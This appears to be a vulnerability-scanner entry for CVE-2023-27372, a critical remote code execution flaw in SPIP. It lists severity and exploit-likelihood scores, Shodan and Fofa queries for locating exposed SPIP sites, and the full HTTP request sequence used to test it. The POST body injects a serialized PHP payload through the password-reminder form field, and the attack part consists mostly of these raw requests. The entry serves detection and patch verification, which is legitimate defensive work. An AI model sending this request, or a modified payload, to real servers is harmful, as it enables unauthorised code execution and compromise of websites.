| Title | SPIP - Remote Command Execution |
|---|---|
| Author | DhiyaneshDK,nuts7 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. |
| Remediation | Apply the latest security patches or upgrade to a patched version of SPIP. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93378 |
| CVE ID | CVE-2023-27372 |
| Shodan Query | html:"spip.php?page=backend"http.html:"spip.php?page=backend"cpe:"cpe:2.3:a:spip:spip" |
| Fofa Query | body="spip.php?page=backend" |
| Tags | cve cve2023 packetstorm spip rce vkev vuln |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
GET /spip.php?page=spip_pass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /spip.php?page=spip_pass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
page=spip_pass&formulaire_action=oubli&formulaire_action_args=yfhrqh&oubli=s:19:"<?php phpinfo(); ?>";
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27372.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-27372.pcap
N/AN/A